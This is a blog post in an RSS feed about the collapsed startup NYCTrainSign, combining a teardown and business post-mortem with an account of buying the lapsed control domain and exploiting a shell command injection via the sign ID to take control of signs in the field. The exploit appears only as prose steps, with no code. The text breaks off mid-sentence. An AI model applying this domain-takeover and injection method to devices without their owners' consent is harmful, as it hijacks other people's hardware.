<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Kevin Chung]]></title><description><![CDATA[Computers are hard]]></description><link>https://blog.kchung.co/</link><image><url>https://blog.kchung.co/favicon.png</url><title>Kevin Chung</title><link>https://blog.kchung.co/</link></image><generator>Ghost 5.26</generator><lastBuildDate>Fri, 20 Jan 2023 01:36:36 GMT</lastBuildDate><atom:link href="https://blog.kchung.co/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Taking over a Dead IoT Company]]></title><description><![CDATA[5 years after NYCTrainSign collapsed, I  investigate why the company failed and end up writing an exploit to take over their fleet.   ]]></description><link>https://blog.kchung.co/taking-over-a-dead-iot-company/</link><guid isPermaLink="false">63b2638e65f7070001a5c168</guid><category><![CDATA[electronics]]></category><category><![CDATA[esp32]]></category><category><![CDATA[hacking]]></category><category><![CDATA[hardware]]></category><category><![CDATA[open source]]></category><category><![CDATA[raspberry pi]]></category><category><![CDATA[led matrix]]></category><category><![CDATA[business]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Mon, 09 Jan 2023 14:30:00 GMT</pubDate><media:content url="https://blog.kchung.co/content/images/2023/01/pikachu.png" medium="image"/><content:encoded><![CDATA[<div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">Do you have a sign from NYCTrainSign? Try out <a href="https://www.trainsignapi.com/">the site that I created</a> to get it working again.&#xA0;</div></div><img src="https://blog.kchung.co/content/images/2023/01/pikachu.png" alt="Taking over a Dead IoT Company"><p>Back in 2017, NYCTrainSign was a company making replicas of the countdown timers that told you how long it would be until the next train came. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/train-sign-wsj.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="602" height="402" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/train-sign-wsj.png 600w, https://blog.kchung.co/content/images/2023/01/train-sign-wsj.png 602w"><figcaption>New York City Subway Arrival Clock. Image Credit: <a href="https://www.wsj.com/articles/mta-board-approves-26-billion-capital-spending-plan-1446052998">Wall Street Journal</a></figcaption></figure><p>But instead of being hung up on the ceiling, you could put it on your desk as a tasteful part of your home.</p><p>The person responsible for marketing did a great job driving interest. I remember a lot of Facebook and Instagram posts showing off how the sign could be useful for cafes and pizzerias so their customers could see when they should leave for the train. </p><p>However, underneath the veneer of Instagram, the signs were full of subpar engineering and unsustainable costs. </p><p>In early 2018 the company stopped replying to social media posts and very few people had received their purchased signs. The company recommended that customers dispute the charge to try to get their money back. </p><p>Today, even new companies entering this space have had to deal with the fallout of NYCTrainSign.</p><figure class="kg-card kg-gallery-card kg-width-wide"><div class="kg-gallery-container"><div class="kg-gallery-row"><div class="kg-gallery-image"><img src="https://blog.kchung.co/content/images/2023/01/fallout1-1.png" width="1422" height="1210" loading="lazy" alt="Taking over a Dead IoT Company" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/fallout1-1.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/fallout1-1.png 1000w, https://blog.kchung.co/content/images/2023/01/fallout1-1.png 1422w" sizes="(min-width: 720px) 720px"></div><div class="kg-gallery-image"><img src="https://blog.kchung.co/content/images/2023/01/fallout2-1.png" width="1274" height="1436" loading="lazy" alt="Taking over a Dead IoT Company" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/fallout2-1.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/fallout2-1.png 1000w, https://blog.kchung.co/content/images/2023/01/fallout2-1.png 1274w" sizes="(min-width: 720px) 720px"></div></div><div class="kg-gallery-row"><div class="kg-gallery-image"><img src="https://blog.kchung.co/content/images/2023/01/fallout3-1.png" width="1388" height="1132" loading="lazy" alt="Taking over a Dead IoT Company" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/fallout3-1.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/fallout3-1.png 1000w, https://blog.kchung.co/content/images/2023/01/fallout3-1.png 1388w" sizes="(min-width: 720px) 720px"></div><div class="kg-gallery-image"><img src="https://blog.kchung.co/content/images/2023/01/fallout4-1.png" width="916" height="490" loading="lazy" alt="Taking over a Dead IoT Company" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/fallout4-1.png 600w, https://blog.kchung.co/content/images/2023/01/fallout4-1.png 916w" sizes="(min-width: 720px) 720px"></div></div></div></figure><p>Now, 5 years after the company collapsed, I acquired one of their signs to investigate why the company failed. Along the way I ended up taking over the company&#x2019;s sign control domain and writing an <a href="https://github.com/ColdHeat/nycts-api">exploit</a> to get full control of any signs still in the field.</p><h1 id="getting-a-sign">Getting a Sign</h1><p>Sometime in 2021 I found someone on reddit that was selling a NYCTrainSign. They were one of the few who had received product from the company and were looking to get rid of it. </p><figure class="kg-card kg-image-card"><img src="https://blog.kchung.co/content/images/2023/01/reddit-dm.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="654" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/reddit-dm.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/reddit-dm.png 1000w, https://blog.kchung.co/content/images/2023/01/reddit-dm.png 1600w" sizes="(min-width: 720px) 720px"></figure><p>Amazingly, the original owner kept the original packaging. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/IMG_0298.jpeg" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="564" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/IMG_0298.jpeg 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/IMG_0298.jpeg 1000w, https://blog.kchung.co/content/images/2023/01/IMG_0298.jpeg 1600w" sizes="(min-width: 720px) 720px"><figcaption>The Original Box</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/IMG_0299.jpeg" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="613" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/IMG_0299.jpeg 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/IMG_0299.jpeg 1000w, https://blog.kchung.co/content/images/2023/01/IMG_0299.jpeg 1600w" sizes="(min-width: 720px) 720px"><figcaption>The Sign</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/IMG_0304.jpeg" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="572" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/IMG_0304.jpeg 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/IMG_0304.jpeg 1000w, https://blog.kchung.co/content/images/2023/01/IMG_0304.jpeg 1600w" sizes="(min-width: 720px) 720px"><figcaption>The Sign Powered On</figcaption></figure><h1 id="disassembly">Disassembly</h1><p>The sign itself is housed in a wooden case that the company handmade. I believe the company had hired a woodworker out of college to make the cases.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/IMG_0301.jpeg" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="603" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/IMG_0301.jpeg 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/IMG_0301.jpeg 1000w, https://blog.kchung.co/content/images/2023/01/IMG_0301.jpeg 1600w" sizes="(min-width: 720px) 720px"><figcaption>Rear Panel of the sign. Unclear what the hole was for.</figcaption></figure><p>As someone with little to no woodworking skills, the case looks pretty good. There are some bad corners but it wouldn&#x2019;t look out of place in any home. </p><p>The sign internally was comprised of </p><ul><li>2 LED Matrix Panels</li><li>1 Raspberry Pi 3</li><li>1 4GB MicroSD Card</li><li>1 LED Matrix HAT from Adafruit</li><li>Wiring for the power supply connection</li><li>Wiring for the LED Matrix Panels</li><li>A small button wired to GPIO on the Pi</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/IMG_0302.jpeg" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="999" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/IMG_0302.jpeg 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/IMG_0302.jpeg 1000w, https://blog.kchung.co/content/images/2023/01/IMG_0302.jpeg 1600w" sizes="(min-width: 720px) 720px"><figcaption>Sign Internals. Notice the random tape and disconnected power cable.</figcaption></figure><p>While the case is fine, internally it shouldn&#x2019;t take much to tell that the sign is not that well made.</p><p>The Pi was only half screwed on by two loose screws. The button (intended for reset) was sort of just hanging around. There&#x2019;s also a giant hole for some unknown reason. The power supply connection seems like it could break with too much movement and it was actually unplugged when I first got the sign. </p><h1 id="the-bom-is-too-damn-high">The BOM is Too Damn High</h1><p>A bill of materials or BOM is a list of the raw components that go into a product. Most electronics projects, especially serious ones, will have a detailed BOM that describes the item and price that it goes for. </p><p>Often the final cost of the BOM will be much lower than the retail price because of the cost of shipping, R&amp;D, profit margin, etc. Small changes in BOM price can have a big impact on the final cost of an item. It&#x2019;s not uncommon to switch vendors or parts to save just cents on the BOM.</p><p>One trick I use is that multiplying the BOM cost by 4 will often get you the retail price. </p><p>With access to a sign we can put together a hypothetical BOM:</p><!--kg-card-begin: markdown--><ul>
<li>Raspberry Pi 3 - $35</li>
<li>Adafruit LED Matrix Hat - $25</li>
<li>LED Matrix * 2 - $60 ($30 each at least)
<ul>
<li>One of their <a href="https://twitter.com/NYCTRAINSIGN/status/926106932573810688">tweets</a> specifically cite using a specific more expensive Adafruit component (<a href="https://www.adafruit.com/product/2278">https://www.adafruit.com/product/2278</a>).</li>
</ul>
</li>
<li>5V 2A Power Supply - $5 (Best Guess)
<ul>
<li>Suspiciously this is not enough amperage to power everything at full power draw. Most guides recommend 4 to 10 amps.</li>
</ul>
</li>
<li>4GB MicroSD Card - $7 (Best Guess)</li>
<li>Wood Case - $15  (Best Guess)</li>
<li>Miscellaneous Items
<ul>
<li>Wiring, Buttons, Cabling, Screws, Packaging (the sign had some cardboard, a sheet of paper, and some bubble wrap and foam) - $3 (Best Guess)</li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><p>So roughly the BOM cost was $150. If we were to apply our pricing trick, the suggested retail price should be at least $600. </p><h1 id="they-did-not-know-the-trick">They did not know the trick</h1><p>Based on <a href="https://web.archive.org/web/20170902053604/https://nyctrainsign.com/">archived webpages</a> the NYCTrainSign team was selling signs for $600 but there are <a href="https://ny.curbed.com/2017/10/6/16436064/nyc-train-sign-bushwick-startup-tech">articles mentioning prices like $300</a>. Some people mention <a href="https://www.amny.com/news/nyc-train-sign-complaints-1-18558431/">purchases for around $200</a> and even <a href="https://www.facebook.com/nyctrainsign/photos/a.1771806073074982/2031239807131606/?comment_id=2071473833108203&amp;__cft__[0]=AZU6tK-HrTSI1jF7QHCR2eeXREEUPpIh_EYb_XDtjF6ZOjAdpfnfXk87Hs0fZXwpWfHSimw1NUOWkzgaphiGKZ4IycHiVW3PzYpKFKsnPn3OjQY-ShjmRT6CuqF_pVnPURORwn3Ghe1m3bvHs-RGnlFVoktnyHH4P4-tp-LuRIjrqWUihkU1e96agSetL8l_hFA&amp;__tn__=R]-R">only paying $100</a>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/300-pricing.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="344" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/300-pricing.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/300-pricing.png 1000w, https://blog.kchung.co/content/images/2023/01/300-pricing.png 1600w" sizes="(min-width: 720px) 720px"><figcaption>Considering the BOM costs, $299 is practically a steal</figcaption></figure><p>It seems there were also plans to rent the signs at $30/month as well. </p><p>$300 is obviously too low of a price based on the BOM but yet $600 is probably too much. It&#x2019;s just a sign after all. </p><p>Renting could have been an interesting idea but I think it would be very difficult to recoup the initial cash investment. Hardware businesses often need to have an initial cash injection to build inventory and then want to recoup that cash and gather profit as quickly as possible by selling their product. </p><h1 id="who-sold-the-shovels">Who Sold The Shovels</h1><p>There is a saying that &quot;during a gold rush, you should sell shovels&quot;. </p><p>In our tale, Adafruit sold the shovels. By using the <a href="https://www.adafruit.com/product/2345">Adafruit LED Matrix HAT</a>, the BOM cost gets inflated by $25 or about 20%. The HAT is also entirely avoidable with a little engineering work.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/image.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="970" height="728" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/image.png 600w, https://blog.kchung.co/content/images/2023/01/image.png 970w" sizes="(min-width: 720px) 720px"><figcaption>The shovel in question</figcaption></figure><p>This is because:</p><ol><li>The HAT is not absolutely necessary. The <a href="https://github.com/hzeller/rpi-rgb-led-matrix">rpi-rgb-led-matrix</a> library used by the sign includes <a href="https://github.com/hzeller/rpi-rgb-led-matrix/blob/master/wiring.md">direct wiring instructions</a> and designs for a <a href="https://github.com/hzeller/rpi-rgb-led-matrix/tree/master/adapter/passive-3">passive adapter board</a>. These instructions &amp; boards existed <a href="https://github.com/hzeller/rpi-rgb-led-matrix/tree/5bd023f9bb5ae7bbeef914eb263ba8c4fbe3a4c6/adapter/passive-3">back in 2017</a>. </li><li>A <a href="https://www.electrodragon.com/product/rgb-matrix-panel-drive-board-raspberry-pi/">cheaper HAT</a> also existed back in <a href="https://web.archive.org/web/20171028223714/https://www.electrodragon.com/product/rgb-matrix-panel-drive-board-raspberry-pi/">2017</a>. At $2.10 it would have been significantly cheaper than the $25 Adafruit HAT. Also despite using the more expensive Adafruit HAT the sign for some reason flickers constantly.</li><li>Most of the time Adafruit parts are used for prototyping but are replaced with something cheaper when going to production. This is likely factored in Adafruit&apos;s pricing scheme. &#xA0;</li></ol><p>Now you might also think that The Raspberry Pi Foundation is also a shovel seller. The $35 cost is a lot to stomach and it&#x2019;s the most expensive single item in the BOM.</p><p>Having thought about it, while it may seem like overkill and I wouldn&apos;t recommend it, I think using a Pi wasn&#x2019;t a bad decision compared to using an Arduino or ESP32. It gave the company <a href="https://www.raspberrypi.com/news/nyc-train-sign/">free marketing</a> and an easy development environment.</p><p>In my opinion, if the NYCTrainSign team didn&#x2019;t want to invest upfront engineering time in using a microcontroller like the ESP32, it would make sense to start with the Raspberry Pi 3, then switch to the Pi Zero W when it was released. </p><p>Eventually they should aim to switch to the ESP32 or similar and lower their BOM cost further but it doesn&#x2019;t seem like starting with the Pi was overtly wrong as long as the long term plan would be to eventually replace it.</p><h1 id="reading-the-code"><strong>Reading the Code</strong></h1><p>Since the product is Raspberry Pi based, it&#x2019;s simple to make a backup of the MicroSD card so that I can explore the filesystem and make changes as needed. </p><p>The sign&#x2019;s codebase consists of some custom made Python &amp; NodeJS code as well as a number of open source parts. </p><p>There are 2 primary custom components running on the Pi:</p><ul><li>The Python server (LED Server)</li><li>The NodeJS server (Config Server)</li></ul><h2 id="led-server">LED Server</h2><p>The LED Server written in Python is responsible for drawing to the LED Matrix and getting train data from the company&#x2019;s API. The LED server communicates with the Config Server to determine what settings the user has configured and then issues frequent HTTP calls to a remote server to get data like train arrivals and weather. &#xA0;</p><p>With the train data, the LED Server will generate an image or text locally and then render that on the LED Matrix. </p><h2 id="config-server">Config Server</h2><p>The Config Server written in NodeJS is responsible for storing user configuration in a JSON file and receiving requests to retrieve and update that file. At boot time, the Config Server will pull the latest configuration from an HTTP server. In addition, the Config Server will connect to an <a href="https://aws.amazon.com/iot-core/">AWS IoT Core</a> endpoint to receive real time config updates from an MQTT server.</p><h2 id="other-components">Other Components</h2><ul><li>On first startup, Wifi is configured with <a href="https://github.com/sabhiram/raspberry-wifi-conf">raspberry-wifi-conf</a> which is an open source application that will have the Pi create a wireless network that the user is supposed to connect to and then provide actual WiFi connection details to.</li><li>The Reset button is controlled by a small Python script that is run in the background. When the button is pressed the script deletes wifi settings, resets the hostname, deletes some remote monitoring functionality, and reboots the server.</li><li>It seems that the company could remotely connect to a terminal on every sign. My sign appeared to have remote control software from <a href="https://www.dataplicity.com/">https://www.dataplicity.com/</a> installed. </li></ul><h2 id="code-quality">Code Quality</h2><p>While looking through the code, I noticed various code quality issues:</p><ul><li>Their transit API didn&apos;t seem to consider that a station can have multiple train lines. Two lines at the same station would show as ending at the same stops.</li><li>No discernable firmware update process. Perhaps the update process would have just been to have customers flash the MicroSD card with a new Pi image.</li><li>A lot of the Python code merely uses system calls to make changes with the underlying system </li><li>The Python LED server communicates with the NodeJS Config server to store/retrieve configuration. I suspect this was done because it was easier for the team to interact with AWS IoT from NodeJS but easier to interact with the display from Python.</li><li>Frequent mixing of tabs and spaces due to misconfigured code editors </li><li>Entire git history was saved on the MicroSD card</li><li>Bash history saved on the MicroSD card</li><li>Very little code reuse</li></ul><h1 id="sign-ressurection">Sign Ressurection</h1><h2 id="getting-a-shell">Getting a Shell</h2><p>It&#x2019;s relatively simple to get a root shell on most Raspberry Pi&#x2019;s as typically there&#x2019;s no encryption on the MicroSD card. We can simply boot into single user mode and reset the password for the pi user.</p><p>However, while we have a shell now and we can play around, none of it really matters because the company&#x2019;s API doesn&#x2019;t exist anymore. The sign was programmed to use hard-coded local data when it has no internet access so any data that&#x2019;s being shown is useless.</p><h2 id="recreating-the-server">Recreating the Server</h2><p>We could of course update the domain that the sign talks to but luckily the domain that the sign communicates to by default was available for purchase. </p><p>So I bought it. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/domain-purchase.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="726" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/domain-purchase.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/domain-purchase.png 1000w, https://blog.kchung.co/content/images/2023/01/domain-purchase.png 1600w" sizes="(min-width: 720px) 720px"><figcaption>Who knew hacking was so easy</figcaption></figure><p>With full control of the domain, we can create a new API based on what the sign is expecting and revive all of the signs that are out in the field. Potentially, we could also perform some kind of update to update signs to more modern software. </p><p>I reconstructed the endpoints for the train arrival times (at least for NYC) and weather data. For train times I decided to use the API behind <a href="https://wheresthefuckingtrain.com/">https://wheresthefuckingtrain.com/</a>. For weather data I used the <a href="https://open-meteo.com/">OpenMeteo API</a>.</p><h2 id="getting-sign-control">Getting Sign Control</h2><p>Like most IoT devices, the sign makes a lot of system calls. One call directly concatenates the sign ID into a shell command. With control of the server in theory we can directly get remote control of any train sign.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/sign-id-vuln.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1088" height="438" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/sign-id-vuln.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/sign-id-vuln.png 1000w, https://blog.kchung.co/content/images/2023/01/sign-id-vuln.png 1088w" sizes="(min-width: 720px) 720px"><figcaption>IoT at its best</figcaption></figure><p>Since we control the domain, in theory, we can feed any sign a malicious sign ID and run any arbitrary command. We can then use this to register the sign to our new control server and give people control of their signs again.</p><p>After handwaving away some of the boring data wrangling details, our exploit looks like the following:</p><ol><li>The sign is turned on and it attempts to retrieve configuration. This will loop forever until the sign retrieves something.</li><li>The sign will eventually send a request for an image logo. This request will contain two ID&apos;s unique to each sign. We store these IDs and create an exploit sign config.</li><li>On the sign&#x2019;s next config request we serve our exploit to the sign.</li><li>We instruct the user to restart their sign and our exploit is run on restart</li><li>The exploit updates any code that&#x2019;s needed to pair it with our new server</li></ol><p>Here is a video of the exploit running:</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/AuuPpuothe8?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen title="NYCTrainSign Hack"></iframe></figure><p>With the ability to remotely serve arbitrary sign data, we can officially say that our sign has been restored!</p><p>With full control of the domain, we are now the new NYCTrainSign captains.</p><figure class="kg-card kg-image-card"><img src="https://blog.kchung.co/content/images/2023/01/meme.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="978" height="976" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/meme.png 600w, https://blog.kchung.co/content/images/2023/01/meme.png 978w" sizes="(min-width: 720px) 720px"></figure><h1 id="so-what-happened-back-then">So What Happened Back Then?</h1><h2 id="too-many-discounts"><strong>Too Many Discounts</strong></h2><p>I think the core issue is having a high BOM cost as well as selling a lot of signs at a discount.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/117-price.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1266" height="192" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/117-price.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/117-price.png 1000w, https://blog.kchung.co/content/images/2023/01/117-price.png 1266w" sizes="(min-width: 720px) 720px"><figcaption>$117 is practically free in our context</figcaption></figure><p>Even during a beta I really don&#x2019;t think you can make a product for $150 and then sell it for $117 without any venture capital backing. </p><p>As we discussed earlier, even at $300 the product is too cheap. The sign should have likely been selling at $600 from the very beginning.</p><p>The product had some ideas around serving ads but an LED sign isn&#x2019;t really a <a href="https://www.joelonsoftware.com/2000/05/12/strategy-letter-i-ben-and-jerrys-vs-amazon/">&#x201C;get big fast&#x201D;</a> kind of company. So selling lots of signs at a loss really just serves as marketing.</p><h2 id="too-many-ads">Too Many Ads</h2><p>The NYCTrainSign company at one point had a Chief Marketing Officer as well as a Social Media Manager and a Social Media Assistant. </p><figure class="kg-card kg-gallery-card kg-width-wide kg-card-hascaption"><div class="kg-gallery-container"><div class="kg-gallery-row"><div class="kg-gallery-image"><img src="https://blog.kchung.co/content/images/2023/01/social-cmo.png" width="1466" height="488" loading="lazy" alt="Taking over a Dead IoT Company" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/social-cmo.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/social-cmo.png 1000w, https://blog.kchung.co/content/images/2023/01/social-cmo.png 1466w" sizes="(min-width: 720px) 720px"></div><div class="kg-gallery-image"><img src="https://blog.kchung.co/content/images/2023/01/social-media-designer.png" width="1482" height="326" loading="lazy" alt="Taking over a Dead IoT Company" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/social-media-designer.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/social-media-designer.png 1000w, https://blog.kchung.co/content/images/2023/01/social-media-designer.png 1482w" sizes="(min-width: 720px) 720px"></div><div class="kg-gallery-image"><img src="https://blog.kchung.co/content/images/2023/01/social-assistant.png" width="1490" height="370" loading="lazy" alt="Taking over a Dead IoT Company" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/social-assistant.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/social-assistant.png 1000w, https://blog.kchung.co/content/images/2023/01/social-assistant.png 1490w" sizes="(min-width: 720px) 720px"></div></div></div><figcaption>LinkedIn Job Experience for 3 former employees</figcaption></figure><p>This seems excessive for a burgeoning startup.</p><p>At the time, the MTA was experiencing frequent delays which the media was heavily covering. It seems like the company got a lot of free interest very quickly. It likely would have been sufficient to coast off of free marketing. </p><p>Combined with the additional ads and marketing that the company was purchasing, there was a lot of demand for the product.</p><h2 id="not-enough-product">Not Enough Product</h2><p>However despite the demand, the team could not produce the volumes needed. Not to mention that every sign was being manually built in Brooklyn which is obviously unsustainable with a low retail price. It also seems unlikely that the team was keeping enough inventory on hand so they were probably also affected by the lead time on sourcing parts. </p><p>Despite having no ability to fulfill orders, they continued to take them in; likely in a Ponzi-like attempt to get funds to fulfill the previous discounted orders.</p><p>At this point, the team told customers they were expecting a 6 month delay while they moved their production to China. Customers who didn&#x2019;t want to wait could contact their credit card company to issue chargebacks. </p><p>Moving to China seems like a pipe dream but it never manifested. Shortly after their announcement the company was shut down and their <a href="https://www.facebook.com/photo.php?fbid=10157836158807228&amp;set=p.10157836158807228&amp;type=3">office shuttered</a>. </p><h2 id="too-many-cooks"><strong>Too Many Cooks</strong></h2><p>Based on Linkedin information there were initially 4 founders. Over time it grew to <a href="https://www.nydailynews.com/new-york/growing-brooklyn-startup-takes-inspiration-subway-delays-article-1.3675813">11 people</a> and then at some point <a href="https://web.archive.org/web/20180107132644/https://www.devshop.nyc/">15 people</a> involved with the company altogether.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/15-people.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1308" height="334" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/15-people.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/15-people.png 1000w, https://blog.kchung.co/content/images/2023/01/15-people.png 1308w" sizes="(min-width: 720px) 720px"><figcaption>Talking about yourself in 3rd person means you&apos;re legit</figcaption></figure><p>At even just 60k per founder, with the profit per sign sold being maybe $400, you would probably need to sell ~600 signs at full price per year to create enough revenue to run payroll. </p><p>One of the founders at some point released a screenshot of their sales activity and they had reached $250k in revenue in about two months. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/sales.jpeg" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="418" height="720"><figcaption>Revenue is more a measurement of popularity than entrepeneurial success</figcaption></figure><p>However it&#x2019;s unclear how much of that was profit since it seems like many signs were sold at a steep discount. The $600 price point seems excessive. Really the $200 or $300 price point makes more sense. </p><p>I imagine that in a city of about 8.5 million it shouldn&#x2019;t be too hard to sell 600 signs in at least the first year. But next year you&#x2019;d have to sell ~600 signs all over again. And this isn&#x2019;t including the cost for any other employees, contractors, etc.</p><p>In my opinion, without a better strategy for having a lower BOM cost from the beginning or some kind of recurring revenue, the company would have quickly become unsustainable. Which it obviously did. </p><h2 id="good-idea-good-timing-bad-team-bad-product">Good Idea, Good Timing, Bad Team, Bad Product</h2><p>After the company was dead in the water, the founders &amp; employees attempted to make <a href="https://web.archive.org/web/20180107132644/https://www.devshop.nyc/">some sort of consulting firm</a> for some reason.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/devshop-interview.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1276" height="392" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/devshop-interview.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/devshop-interview.png 1000w, https://blog.kchung.co/content/images/2023/01/devshop-interview.png 1276w" sizes="(min-width: 720px) 720px"><figcaption><a href="https://benningtonalumnirelations.tumblr.com/post/170272208491/life-after-bennington-the-future-certainly-looks?fbclid=IwAR19V9DYRxLZDf2i8DIaHamVQYbVjWQiySm5jqtBVD-QlS3yY5QK9wKKOZ0#notes">Founder interview as they are failing to ship orders</a></figcaption></figure><p>The founders have never come clean about what really happened and why so little product was shipped and where the money went. At least one founder says that they personally never received any money but the money had to have gone somewhere. &#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/founder-no-money1.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1192" height="306" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/founder-no-money1.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/founder-no-money1.png 1000w, https://blog.kchung.co/content/images/2023/01/founder-no-money1.png 1192w" sizes="(min-width: 720px) 720px"><figcaption>Likely true in this case but the money had to have gone somewhere</figcaption></figure><p>This lack of transparency would be what turned the mini darling company into something of a meme.</p><p>Today the company is completely gone and 3 out of 4 founders have publicly moved on. Many of the former employees still list the company on their LinkedIn. One founder (the CEO) keeps a low profile and can&#x2019;t readily be found on the internet. </p><p>At the end of the day, the team had no discernible plan about what to do with their product and it really just seems like people who jumped into making a company without thinking carefully about what they&#x2019;d do at every step. While you can maybe do that with a software company, it&#x2019;s difficult to do that in the hardware space.</p><p>What&#x2019;s really aggravating is that I truly believe that if the NYCTrainSign team spoke to someone with a background in electronics they would have been more successful. Instead it seems like their primary advisor was their college computer science professor. </p><p>It seems like NYCTrainSign just took a project that <a href="https://www.amny.com/transit/subway-countdown-clocks-sold-by-bushwick-company-connect-to-real-time-mta-data-1-14424110/">the CEO created in his spare time</a> and then tried to sell it for $300 to $600 without productionizing it or thinking about what might happen afterwards.</p><figure class="kg-card kg-image-card"><img src="https://blog.kchung.co/content/images/2023/01/woo-sign-passion.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="552" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/woo-sign-passion.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/woo-sign-passion.png 1000w, https://blog.kchung.co/content/images/2023/01/woo-sign-passion.png 1600w" sizes="(min-width: 720px) 720px"></figure><p>In summary: good idea, good timing, bad team, bad product.</p><p>The founders &amp; team for the most part do seem like honest people. I do not think they had any ill will.</p><p>They merely were some friends who did not have the experience needed to build a hardware business and were caught off-guard by the success of their marketing.</p><p>However, the CEO, Timothy Woo, should come clean about what happened with all the customer funds and what went wrong.</p><p>While I&#x2019;m not sure if there&#x2019;s a legal requirement to return funds, I do believe there&#x2019;s a moral obligation to do right by your customer. Especially if you don&#x2019;t end up giving them their purchase. At the very least I think an explanation is in order. </p><h1 id="what-happens-now">What Happens Now</h1><p>When I originally embarked on this adventure I had dreams of building my own sign 